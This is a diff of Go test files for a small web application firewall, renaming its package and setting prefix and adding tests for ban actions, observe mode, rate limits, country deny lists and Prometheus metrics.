if tag := asnTag(rq.line.ASN); tag != "" {
rq.addTag(tag)
}
if tag := countryTag(rq.line.Country); tag != "" {
rq.addTag(tag)
}
}
// asnTag returns the tag of asn, an AS number as the lookup gives it, such as
// asn=64496 for AS64496, or "" for no AS number.
func asnTag(asn string) string {
if asn == "" {
return ""
}
return config.ASNTagPrefix + strings.TrimPrefix(asn, "AS")
}
// countryTag returns the tag of country, a code as the lookup gives it, such
// as country=DE for DE, or "" for no country.
func countryTag(country string) string {
if country == "" {
return ""
}
return config.CountryTagPrefix + country
} }
// addLookup adds answer, an answer about a client from the lookup // addLookup adds answer, an answer about a client from the lookup
@@ -1,4 +1,4 @@
package servewaf_test package discriminator_test
import ( import (
"net/http" "net/http"
@@ -20,7 +20,7 @@ import (
// and country. // and country.
type asnAndCountry struct{ asn, asName, country string } type asnAndCountry struct{ asn, asName, country string }
// fileSource is the SWWAF_LOOKUP_SOURCE that looks clients up in the // fileSource is the SWW_LOOKUP_SOURCE that looks clients up in the
// lookup database. // lookup database.
const fileSource = "file" const fileSource = "file"
@@ -40,7 +40,7 @@ func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(t *testing.T)
// comes too. None waits for GeoJS. // comes too. None waits for GeoJS.
for _, line := range []logLine{ for _, line := range []logLine{
s.get(fromDE, http.StatusOK, requestlog.ActionForward), s.get(fromDE, http.StatusOK, requestlog.ActionForward),
s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited), s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited),
s.get(fromKP, http.StatusOK, requestlog.ActionForward), s.get(fromKP, http.StatusOK, requestlog.ActionForward),
} { } {
got := asnAndCountry{line.ASN, line.ASName, line.Country} got := asnAndCountry{line.ASN, line.ASName, line.Country}
@@ -96,7 +96,7 @@ func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) {
map[string]string{ map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
lookupTimeout: "1h", lookupTimeout: "1h",
deniedCountries: "kp", tagDeny: denyKP,
}) })
requestFromDE := func() *http.Request { requestFromDE := func() *http.Request {
@@ -162,7 +162,7 @@ func TestASNumberAndNameInTheLogLineTheHistoryTheBanNotesAndTheAlert(t *testing.
addr, out, server, queue := startProxyWithAlerts(t, app.URL, geojsURL, clk.Now, addr, out, server, queue := startProxyWithAlerts(t, app.URL, geojsURL, clk.Now,
map[string]string{ map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
alertWebhookURL: "https://alerts.example/smallwebwaf", alertWebhookURL: "https://alerts.example/sww",
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
}) })
s := &sender{t: t, addr: addr, out: out} s := &sender{t: t, addr: addr, out: out}
@@ -179,7 +179,7 @@ func TestASNumberAndNameInTheLogLineTheHistoryTheBanNotesAndTheAlert(t *testing.
for _, line := range []logLine{ for _, line := range []logLine{
s.get(fromDE, http.StatusOK, requestlog.ActionForward), s.get(fromDE, http.StatusOK, requestlog.ActionForward),
s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited), s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited),
} { } {
if got := (asnAndCountry{line.ASN, line.ASName, line.Country}); got != want { if got := (asnAndCountry{line.ASN, line.ASName, line.Country}); got != want {
t.Errorf("log line has %+v, want %+v", got, want) t.Errorf("log line has %+v, want %+v", got, want)
@@ -264,7 +264,7 @@ func TestClientsAreLookedUpInTheLookupDatabaseAndGeoJSIsNotAsked(t *testing.T) {
want asnAndCountry want asnAndCountry
}{ }{
{s.get(fromDE, http.StatusOK, requestlog.ActionForward), de}, {s.get(fromDE, http.StatusOK, requestlog.ActionForward), de},
{s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited), de}, {s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited), de},
{ {
s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied), s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied),
asnAndCountry{asnKP, asNameKP, "KP"}, asnAndCountry{asnKP, asNameKP, "KP"},
@@ -379,13 +379,13 @@ func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) {
// clock of the test's own: the wait lasts exactly as long as it should, // clock of the test's own: the wait lasts exactly as long as it should,
// however slowly the test process runs. Nothing in it may wait on the // however slowly the test process runs. Nothing in it may wait on the
// network, which would keep that clock from moving on: the request is // network, which would keep that clock from moving on: the request is
// handed to servewaf's handler, and GeoJS is one that never answers. // handed to discriminator's handler, and GeoJS is one that never answers.
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
// Not the default. The exclusive list needs the answer, and the app // Not the default. The exclusive list needs the answer, and the app
// is never reached. // is never reached.
const timeout = 3 * time.Second const timeout = 3 * time.Second
server, out, _ := newServeWAF(t, unansweredGeoJSURL, time.Now, server, out, _ := newDiscriminator(t, silentGeoJSURL, time.Now,
map[string]string{ map[string]string{
lookupTimeout: timeout.String(), lookupTimeout: timeout.String(),
allowedCountries: "DE", allowedCountries: "DE",
@@ -405,25 +405,25 @@ func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) {
}) })
} }
// unansweredGeoJSURL is where a GeoJS that never answers is asked: a // silentGeoJSURL is where a GeoJS that never answers is asked: a
// request to it waits, without the network, until it is abandoned. // request to it waits, without the network, until it is abandoned.
// TestMain registers it with Go's default transport, through which GeoJS // TestMain registers it with Go's default transport, through which GeoJS
// is asked. // is asked.
const unansweredGeoJSURL = "unanswered://geojs/v1/ip/geo.json" const silentGeoJSURL = "silent://geojs/v1/ip/geo.json"
func TestMain(m *testing.M) { func TestMain(m *testing.M) {
transport, _ := http.DefaultTransport.(*http.Transport) transport, _ := http.DefaultTransport.(*http.Transport)
transport.RegisterProtocol("unanswered", unansweredGeoJS{}) transport.RegisterProtocol("silent", silentGeoJS{})
transport.RegisterProtocol("abuseipdb", abuseIPDBStandIn{}) transport.RegisterProtocol("abuseipdb", abuseIPDBStandIn{})
m.Run() m.Run()
} }
// unansweredGeoJS is the GeoJS at unansweredGeoJSURL. // silentGeoJS is the GeoJS at silentGeoJSURL.
type unansweredGeoJS struct{} type silentGeoJS struct{}
// RoundTrip waits until req is abandoned. // RoundTrip waits until req is abandoned.
func (unansweredGeoJS) RoundTrip(req *http.Request) (*http.Response, error) { func (silentGeoJS) RoundTrip(req *http.Request) (*http.Response, error) {
<-req.Context().Done() <-req.Context().Done()
return nil, req.Context().Err() return nil, req.Context().Err()
@@ -1,4 +1,4 @@
package servewaf_test package discriminator_test
import ( import (
"io" "io"
@@ -11,15 +11,15 @@ import (
"time" "time"
"sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/lookup" "sneak.berlin/go/smallwebwaf/internal/lookup"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/servewaf"
) )
const ( const (
metricsToken = "SWWAF_METRICS_TOKEN" //nolint:gosec // the setting's name metricsToken = "SWW_METRICS_TOKEN" //nolint:gosec // the setting's name
metricsTopN = "SWWAF_METRICS_TOP_N" metricsTopN = "SWW_METRICS_TOP_N"
// token is the SWWAF_METRICS_TOKEN the tests set, and bearer how a // token is the SWW_METRICS_TOKEN the tests set, and bearer how a
// request carries it. // request carries it.
token = "0123456789abcdef0123456789abcdef" token = "0123456789abcdef0123456789abcdef"
bearer = "Bearer " + token bearer = "Bearer " + token
@@ -32,7 +32,7 @@ func TestMetricsAreOffWhileTheTokenIsUnset(t *testing.T) {
// An empty token does not match the unset one either. // An empty token does not match the unset one either.
for _, authorization := range []string{bearer, "Bearer ", ""} { for _, authorization := range []string{bearer, "Bearer ", ""} {
s.adminRequest(authorization, http.MethodGet, servewaf.MetricsPath, "", s.ownEndpointRequest(authorization, http.MethodGet, discriminator.MetricsPath, "",
http.StatusNotFound) http.StatusNotFound)
} }
} }
@@ -46,20 +46,21 @@ func TestMetricsNeedTheTokenAndOtherPathsAreNotFound(t *testing.T) {
method, path, authorization string method, path, authorization string
status int status int
}{ }{
{http.MethodGet, servewaf.MetricsPath, "", http.StatusUnauthorized}, {http.MethodGet, discriminator.MetricsPath, "", http.StatusUnauthorized},
{ {
http.MethodGet, servewaf.MetricsPath, "Bearer " + strings.ToUpper(token), http.MethodGet, discriminator.MetricsPath, "Bearer " + strings.ToUpper(token),
http.StatusUnauthorized, http.StatusUnauthorized,
}, },
{http.MethodGet, servewaf.MetricsPath, "Basic " + token, http.StatusUnauthorized}, {http.MethodGet, discriminator.MetricsPath, "Basic " + token,
{http.MethodGet, servewaf.MetricsPath, bearer, http.StatusOK}, http.StatusUnauthorized},
{http.MethodGet, servewaf.MetricsPath, "bearer " + token, http.StatusOK}, {http.MethodGet, discriminator.MetricsPath, bearer, http.StatusOK},
{http.MethodPost, servewaf.MetricsPath, bearer, http.StatusNotFound}, {http.MethodGet, discriminator.MetricsPath, "bearer " + token, http.StatusOK},
{http.MethodGet, servewaf.MetricsPath + "/", bearer, http.StatusNotFound}, {http.MethodPost, discriminator.MetricsPath, bearer, http.StatusNotFound},
{http.MethodGet, "/_smallwebwaf/bans", bearer, http.StatusNotFound}, {http.MethodGet, discriminator.MetricsPath + "/", bearer, http.StatusNotFound},
{http.MethodPost, servewaf.HealthPath, "", http.StatusNotFound}, {http.MethodGet, "/_sww/bans", bearer, http.StatusNotFound},
{http.MethodPost, discriminator.HealthPath, "", http.StatusNotFound},
} { } {
got := s.adminRequest(tc.authorization, tc.method, tc.path, "", tc.status) got := s.ownEndpointRequest(tc.authorization, tc.method, tc.path, "", tc.status)
if tc.status == http.StatusUnauthorized && if tc.status == http.StatusUnauthorized &&
got.header.Get("WWW-Authenticate") != "Bearer" { got.header.Get("WWW-Authenticate") != "Bearer" {
@@ -68,7 +69,7 @@ func TestMetricsNeedTheTokenAndOtherPathsAreNotFound(t *testing.T) {
} }
if tc.status == http.StatusOK && if tc.status == http.StatusOK &&
!strings.Contains(string(got.body), "# TYPE smallwebwaf_requests_total counter") { !strings.Contains(string(got.body), "# TYPE sww_requests_total counter") {
t.Errorf("the metrics are\n%s", got.body) t.Errorf("the metrics are\n%s", got.body)
} }
} }
@@ -86,25 +87,25 @@ func TestMetricsCountTheTraffic(t *testing.T) {
got := do(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc"))) got := do(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")))
wantStatus(t, got, http.StatusOK) wantStatus(t, got, http.StatusOK)
wantStatus(t, get(t, addr, "/_smallwebwaf/nothing"), http.StatusNotFound) wantStatus(t, get(t, addr, "/_sww/nothing"), http.StatusNotFound)
out.endedLines(t, 2) out.endedLines(t, 2)
forward := `{action="forward",instance="app",status_class="2xx"}` forward := `{action="forward",instance="app",status_class="2xx"}`
notFound := `{action="admin",instance="app",status_class="4xx"}` notFound := `{action="own_endpoint",instance="app",status_class="4xx"}`
// The request for the metrics is itself under way. // The request for the metrics is itself under way.
metrics := scrape(t, server.Addr) metrics := scrape(t, server.Addr)
wantMetric(t, metrics, "smallwebwaf_requests_total"+forward, 1) wantMetric(t, metrics, "sww_requests_total"+forward, 1)
wantMetric(t, metrics, "smallwebwaf_requests_total"+notFound, 1) wantMetric(t, metrics, "sww_requests_total"+notFound, 1)
wantMetric(t, metrics, "smallwebwaf_request_bytes_total"+forward, 3) wantMetric(t, metrics, "sww_request_bytes_total"+forward, 3)
wantMetric(t, metrics, "smallwebwaf_response_bytes_total"+forward, 5) wantMetric(t, metrics, "sww_response_bytes_total"+forward, 5)
wantMetric(t, metrics, "smallwebwaf_response_bytes_total"+notFound, wantMetric(t, metrics, "sww_response_bytes_total"+notFound,
float64(len("Not Found\n"))) float64(len("Not Found\n")))
wantMetric(t, metrics, wantMetric(t, metrics,
`smallwebwaf_request_duration_seconds_count{instance="app"}`, 2) `sww_request_duration_seconds_count{instance="app"}`, 2)
wantMetric(t, metrics, wantMetric(t, metrics,
`smallwebwaf_upstream_duration_seconds_count{instance="app"}`, 1) `sww_upstream_duration_seconds_count{instance="app"}`, 1)
wantMetric(t, metrics, `smallwebwaf_requests_in_flight{instance="app"}`, 1) wantMetric(t, metrics, `sww_requests_in_flight{instance="app"}`, 1)
metric(t, metrics, `go_goroutines{instance="app"}`) metric(t, metrics, `go_goroutines{instance="app"}`)
metric(t, metrics, `process_start_time_seconds{instance="app"}`) metric(t, metrics, `process_start_time_seconds{instance="app"}`)
} }
@@ -112,7 +113,7 @@ func TestMetricsCountTheTraffic(t *testing.T) {
func TestMetricsCountLimitsAndBans(t *testing.T) { func TestMetricsCountLimitsAndBans(t *testing.T) {
t.Parallel() t.Parallel()
const denied = "192.0.2.50" // in SWWAF_DENY_NETS const denied = "192.0.2.50" // in SWW_DENY_NETS
s, clk, _ := startWithClock(t, "", map[string]string{ s, clk, _ := startWithClock(t, "", map[string]string{
metricsToken: token, metricsToken: token,
@@ -123,40 +124,40 @@ func TestMetricsCountLimitsAndBans(t *testing.T) {
maxBanDuration: "2h", maxBanDuration: "2h",
}) })
// SWWAF_BAN_RESPONSE=close sends no status at all. // SWW_BAN_RESPONSE=close sends no status at all.
s.get(denied, 0, requestlog.ActionDenied) s.get(denied, 0, requestlog.ActionClientDenied)
// A first broken limit bans for an hour. // A first broken limit bans for an hour.
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(client, 0, requestlog.ActionRateLimited) s.get(client, 0, requestlog.ActionClientIsRateLimited)
metrics := s.scrape() metrics := s.scrape()
wantMetric(t, metrics, wantMetric(t, metrics,
`smallwebwaf_requests_total{action="denied",instance="app",status_class="none"}`, 1) `sww_requests_total{action="client_denied",instance="app",status_class="none"}`, 1)
wantMetric(t, metrics, `smallwebwaf_rate_limit_hits_total{instance="app",`+ wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+
`kind="requests",window="minute"}`, 1) `kind="requests",window="minute"}`, 1)
wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="limit"}`, 1) wantMetric(t, metrics, `sww_offences_total{instance="app",kind="limit"}`, 1)
wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 1) wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 1)
wantMetric(t, metrics, `smallwebwaf_active_bans{instance="app"}`, 1) wantMetric(t, metrics, `sww_active_bans{instance="app"}`, 1)
wantMetric(t, metrics, `smallwebwaf_permanent_bans{instance="app"}`, 0) wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 0)
clk.advance(time.Hour) clk.advance(time.Hour)
wantMetric(t, s.scrape(), `smallwebwaf_active_bans{instance="app"}`, 0) wantMetric(t, s.scrape(), `sww_active_bans{instance="app"}`, 0)
// A limit broken again right after would ban for three hours, longer // A limit broken again right after would ban for three hours, longer
// than SWWAF_MAX_BAN_DURATION, so the ban is permanent. // than SWW_MAX_BAN_DURATION, so the ban is permanent.
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(client, 0, requestlog.ActionRateLimited) s.get(client, 0, requestlog.ActionClientIsRateLimited)
metrics = s.scrape() metrics = s.scrape()
wantMetric(t, metrics, `smallwebwaf_rate_limit_hits_total{instance="app",`+ wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+
`kind="requests",window="minute"}`, 2) `kind="requests",window="minute"}`, 2)
wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="limit"}`, 2) wantMetric(t, metrics, `sww_offences_total{instance="app",kind="limit"}`, 2)
wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 2) wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 2)
wantMetric(t, metrics, `smallwebwaf_active_bans{instance="app"}`, 1) wantMetric(t, metrics, `sww_active_bans{instance="app"}`, 1)
wantMetric(t, metrics, `smallwebwaf_permanent_bans{instance="app"}`, 1) wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 1)
// denied and client. // denied and client.
wantMetric(t, metrics, `smallwebwaf_tracked_clients{instance="app"}`, 2) wantMetric(t, metrics, `sww_tracked_clients{instance="app"}`, 2)
} }
func TestMetricsCountTheBansAnAdminMakes(t *testing.T) { func TestMetricsCountTheBansAnAdminMakes(t *testing.T) {
@@ -167,7 +168,7 @@ func TestMetricsCountTheBansAnAdminMakes(t *testing.T) {
adminToken: adminSecret, adminToken: adminSecret,
}) })
const admins = `smallwebwaf_bans_made_total{cause="admin",instance="app"}` const admins = `sww_bans_made_total{cause="admin",instance="app"}`
wantMetric(t, s.scrape(), admins, 0) wantMetric(t, s.scrape(), admins, 0)
@@ -180,7 +181,7 @@ func TestMetricsCountTheBansAnAdminMakes(t *testing.T) {
wantMetric(t, s.scrape(), admins, 1) wantMetric(t, s.scrape(), admins, 1)
// And a ban made through the endpoint. // And a ban made through the endpoint.
s.admin(http.MethodPost, servewaf.BansPath, banOtherClient, http.StatusOK) s.admin(http.MethodPost, discriminator.BansPath, banOtherClient, http.StatusOK)
wantMetric(t, s.scrape(), admins, 2) wantMetric(t, s.scrape(), admins, 2)
} }
@@ -197,7 +198,7 @@ func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
metricsToken: token, metricsToken: token,
metricsTopN: "2", metricsTopN: "2",
deniedCountries: "kp", allowedCountries: "de,fr",
} }
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
addr, out, server := startProxyWithClock(t, app.URL, geojsURL, time.Now, env) addr, out, server := startProxyWithClock(t, app.URL, geojsURL, time.Now, env)
@@ -233,25 +234,25 @@ func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
lines++ lines++
wantMetric(t, metrics, wantMetric(t, metrics,
`smallwebwaf_country_requests_total{country="KP",instance="app"}`, 3) `sww_country_requests_total{country="KP",instance="app"}`, 3)
wantMetric(t, metrics, wantMetric(t, metrics,
`smallwebwaf_country_requests_total{country="DE",instance="app"}`, 2) `sww_country_requests_total{country="DE",instance="app"}`, 2)
wantMetric(t, metrics, wantMetric(t, metrics,
`smallwebwaf_country_requests_total{country="other",instance="app"}`, 1) `sww_country_requests_total{country="other",instance="app"}`, 1)
wantMetric(t, metrics, wantMetric(t, metrics,
`smallwebwaf_country_list_refusals_total{country="KP",instance="app"}`, 3) `sww_country_list_refusals_total{country="KP",instance="app"}`, 3)
wantMetric(t, metrics, wantMetric(t, metrics,
`smallwebwaf_country_request_bytes_total{country="KP",instance="app"}`, 0) `sww_country_request_bytes_total{country="KP",instance="app"}`, 0)
wantMetric(t, metrics, wantMetric(t, metrics,
`smallwebwaf_country_request_bytes_total{country="DE",instance="app"}`, 6) `sww_country_request_bytes_total{country="DE",instance="app"}`, 6)
wantMetric(t, metrics, wantMetric(t, metrics,
`smallwebwaf_country_response_bytes_total{country="KP",instance="app"}`, `sww_country_response_bytes_total{country="KP",instance="app"}`,
float64(3*len("Forbidden\n"))) float64(3*len("Forbidden\n")))
wantMetric(t, metrics, wantMetric(t, metrics,
`smallwebwaf_country_response_bytes_total{country="other",instance="app"}`, `sww_country_response_bytes_total{country="other",instance="app"}`,
float64(len("hello"))) float64(len("hello")))
wantNoSeries(t, metrics, wantNoSeries(t, metrics,
`smallwebwaf_country_requests_total{country="FR",instance="app"}`) `sww_country_requests_total{country="FR",instance="app"}`)
// Once FR is busier than DE, it takes DE's place: its series counts // Once FR is busier than DE, it takes DE's place: its series counts
// from then on, and DE's is gone. // from then on, and DE's is gone.
@@ -259,15 +260,15 @@ func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
metrics = scrape(t, server.Addr) metrics = scrape(t, server.Addr)
wantMetric(t, metrics, wantMetric(t, metrics,
`smallwebwaf_country_requests_total{country="KP",instance="app"}`, 3) `sww_country_requests_total{country="KP",instance="app"}`, 3)
wantMetric(t, metrics, wantMetric(t, metrics,
`smallwebwaf_country_requests_total{country="FR",instance="app"}`, 2) `sww_country_requests_total{country="FR",instance="app"}`, 2)
wantMetric(t, metrics, wantMetric(t, metrics,
`smallwebwaf_country_requests_total{country="other",instance="app"}`, 2) `sww_country_requests_total{country="other",instance="app"}`, 2)
wantNoSeries(t, metrics, wantNoSeries(t, metrics,
`smallwebwaf_country_requests_total{country="DE",instance="app"}`) `sww_country_requests_total{country="DE",instance="app"}`)
wantNoSeries(t, metrics, wantNoSeries(t, metrics,
`smallwebwaf_country_request_bytes_total{country="DE",instance="app"}`) `sww_country_request_bytes_total{country="DE",instance="app"}`)
} }
func TestMetricsByASNumberKeepTheBusiestAndCountTheRestAsOther(t *testing.T) { func TestMetricsByASNumberKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
@@ -298,15 +299,15 @@ func TestMetricsByASNumberKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
metrics := s.scrape() metrics := s.scrape()
wantMetric(t, metrics, wantMetric(t, metrics,
`smallwebwaf_asn_requests_total{asn="AS64501",instance="app"}`, 2) `sww_asn_requests_total{asn="AS64501",instance="app"}`, 2)
wantMetric(t, metrics, wantMetric(t, metrics,
`smallwebwaf_asn_requests_total{asn="other",instance="app"}`, 1) `sww_asn_requests_total{asn="other",instance="app"}`, 1)
wantMetric(t, metrics, wantMetric(t, metrics,
`smallwebwaf_asn_request_bytes_total{asn="AS64501",instance="app"}`, 0) `sww_asn_request_bytes_total{asn="AS64501",instance="app"}`, 0)
wantMetric(t, metrics, wantMetric(t, metrics,
`smallwebwaf_asn_response_bytes_total{asn="other",instance="app"}`, 0) `sww_asn_response_bytes_total{asn="other",instance="app"}`, 0)
wantNoSeries(t, metrics, wantNoSeries(t, metrics,
`smallwebwaf_asn_requests_total{asn="AS64502",instance="app"}`) `sww_asn_requests_total{asn="AS64502",instance="app"}`)
} }
func TestMetricsCountGeoJSRequestsAndFailures(t *testing.T) { func TestMetricsCountGeoJSRequestsAndFailures(t *testing.T) {
@@ -323,30 +324,30 @@ func TestMetricsCountGeoJSRequestsAndFailures(t *testing.T) {
map[string]string{ map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
metricsToken: token, metricsToken: token,
deniedCountries: "kp", tagDeny: denyKP,
}) })
// GeoJS fails, so the client counts as coming from an unknown country, // GeoJS fails, so the client has no country= tag, and SWW_TAG_DENY does
// which SWWAF_DENIED_COUNTRIES does not refuse. // not refuse it.
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody) req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
req.Header.Set(forwardedFor, fromDE) req.Header.Set(forwardedFor, fromDE)
wantStatus(t, do(t, req), http.StatusOK) wantStatus(t, do(t, req), http.StatusOK)
// The client stops waiting for GeoJS once SWWAF_LOOKUP_TIMEOUT is up, so // The client stops waiting for GeoJS once SWW_LOOKUP_TIMEOUT is up, so
// GeoJS's failure can come after its request has ended. // GeoJS's failure can come after its request has ended.
deadline := time.Now().Add(waitLimit) deadline := time.Now().Add(waitLimit)
metrics := scrape(t, server.Addr) metrics := scrape(t, server.Addr)
for metric(t, metrics, `smallwebwaf_geojs_failures_total{instance="app"}`) == 0 && for metric(t, metrics, `sww_geojs_failures_total{instance="app"}`) == 0 &&
time.Now().Before(deadline) { time.Now().Before(deadline) {
time.Sleep(pollInterval) time.Sleep(pollInterval)
metrics = scrape(t, server.Addr) metrics = scrape(t, server.Addr)
} }
wantMetric(t, metrics, `smallwebwaf_geojs_requests_total{instance="app"}`, 1) wantMetric(t, metrics, `sww_geojs_requests_total{instance="app"}`, 1)
wantMetric(t, metrics, `smallwebwaf_geojs_failures_total{instance="app"}`, 1) wantMetric(t, metrics, `sww_geojs_failures_total{instance="app"}`, 1)
wantMetric(t, metrics, `smallwebwaf_geojs_unanswered_total{instance="app"}`, 1) wantMetric(t, metrics, `sww_requests_without_geojs_answer_total{instance="app"}`, 1)
} }
// keptAnswer returns GeoJS's answer that the client at addr is in // keptAnswer returns GeoJS's answer that the client at addr is in
@@ -360,12 +361,12 @@ func keptAnswer(addr, country string) lookup.Answer {
} }
} }
// scrape asks servewaf at addr for the metrics, with the token, and returns // scrape asks discriminator at addr for the metrics, with the token, and returns
// them. // them.
func scrape(t *testing.T, addr string) string { func scrape(t *testing.T, addr string) string {
t.Helper() t.Helper()
req := newRequest(t, http.MethodGet, addr, servewaf.MetricsPath, http.NoBody) req := newRequest(t, http.MethodGet, addr, discriminator.MetricsPath, http.NoBody)
req.Header.Set("Authorization", bearer) req.Header.Set("Authorization", bearer)
got := do(t, req) got := do(t, req)
@@ -380,14 +381,14 @@ func scrape(t *testing.T, addr string) string {
func (s *sender) scrape() string { func (s *sender) scrape() string {
s.t.Helper() s.t.Helper()
return string(s.adminRequest(bearer, http.MethodGet, servewaf.MetricsPath, "", return string(s.ownEndpointRequest(bearer, http.MethodGet, discriminator.MetricsPath,
http.StatusOK).body) "", http.StatusOK).body)
} }
// metric returns the value of series in metrics, which are in the // metric returns the value of series in metrics, which are in the
// Prometheus text format. series is a name and its labels in the order of // Prometheus text format. series is a name and its labels in the order of
// their names, such as // their names, such as
// smallwebwaf_offences_total{instance="app",kind="limit"}. It fails the // sww_offences_total{instance="app",kind="limit"}. It fails the
// test if there is no such series. // test if there is no such series.
func metric(t *testing.T, metrics, series string) float64 { func metric(t *testing.T, metrics, series string) float64 {
t.Helper() t.Helper()
@@ -1,4 +1,4 @@
package servewaf_test package discriminator_test
import ( import (
"net/http" "net/http"
@@ -7,23 +7,123 @@ import (
"testing" "testing"
"time" "time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
) )
// observe is the value of SWWAF_MODE for observe mode. // observe is the value of SWW_MODE for observe mode.
const observe = "observe" const observe = "observe"
func TestBanActionSaysWhetherTheBanRunsOut(t *testing.T) {
t.Parallel()
const trapPath = "/wp-login.php"
for _, tc := range []struct {
name string
cause string
// endsIn is how long after the request the ban ends: negative for a
// ban that has ended, and zero for a permanent ban.
endsIn time.Duration
path string
want string
}{
{
"temporary ban", bans.CauseAdmin, time.Hour, "/",
requestlog.ActionTemporarilyBanned,
},
{"permanent ban", bans.CauseAdmin, 0, "/", requestlog.ActionPermanentlyBanned},
{
"request that makes a ban permanent", bans.CauseAttack, time.Hour, "/",
requestlog.ActionPermanentlyBanned,
},
{
"trap path after an attack ban ended", bans.CauseAttack, -time.Hour,
trapPath, requestlog.ActionPermanentlyBanned,
},
{
"first trap path after another ban ended", bans.CauseAdmin, -time.Hour,
trapPath, requestlog.ActionTemporarilyBanned,
},
} {
for _, modeValue := range []string{"enforce", observe} {
t.Run(tc.name+" in "+modeValue, func(t *testing.T) {
t.Parallel()
s, clk, server := startWithClock(t, "", map[string]string{
trapPaths: trapPathList, mode: modeValue,
})
ban := bans.Ban{
Netblock: netip.MustParsePrefix(client + "/32"),
Start: clk.Now().Add(-2 * time.Hour),
Cause: tc.cause,
}
if tc.endsIn != 0 {
ban.Expires = clk.Now().Add(tc.endsIn)
}
server.Ledger.Load([]bans.Ban{ban})
if modeValue == observe {
line := s.request(client, tc.path, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, tc.want)
return
}
s.request(client, tc.path, http.StatusForbidden, tc.want)
})
}
}
}
func TestObserveModeNamesAPermanentBanWhoseAlertWouldBeSent(t *testing.T) {
t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{
trapPaths: trapPathList, mode: observe,
})
server.Ledger.Load([]bans.Ban{{
Netblock: netip.MustParsePrefix(client + "/32"),
Start: clk.Now().Add(-2 * time.Hour),
Expires: clk.Now().Add(-time.Hour),
Cause: bans.CauseAttack,
}})
line := s.request(client, "/wp-login.php", http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionPermanentlyBanned)
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 || waiting[0].Event != alerts.EventPermanentBan {
t.Errorf("alerts waiting are %+v, want one %s", waiting, alerts.EventPermanentBan)
}
}
func TestObserveModeNamesTheHeuristicThatWouldHaveRefused(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{
mode: observe, denyNets: client,
})
line := s.get(client, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionClientDenied)
wantHeuristic(t, line, "deny_nets", `{"netblock": "`+client+`/32"}`)
}
func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) { func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) {
t.Parallel() t.Parallel()
const ( const (
denied = "192.0.2.50" // in SWWAF_DENY_NETS denied = "192.0.2.50" // in SWW_DENY_NETS
banned = otherClient // under a ban read from bans.json banned = otherClient // under a ban read from bans.json
) )
for _, tc := range []struct { for _, tc := range []struct {
setting string // "" leaves SWWAF_MODE at its default setting string // "" leaves SWW_MODE at its default
observe bool observe bool
}{ }{
{"", false}, {"", false},
@@ -38,7 +138,7 @@ func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) {
lookupTimeout: "1h", lookupTimeout: "1h",
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
denyNets: denied, denyNets: denied,
deniedCountries: "kp", tagDeny: denyKP,
} }
if tc.setting != "" { if tc.setting != "" {
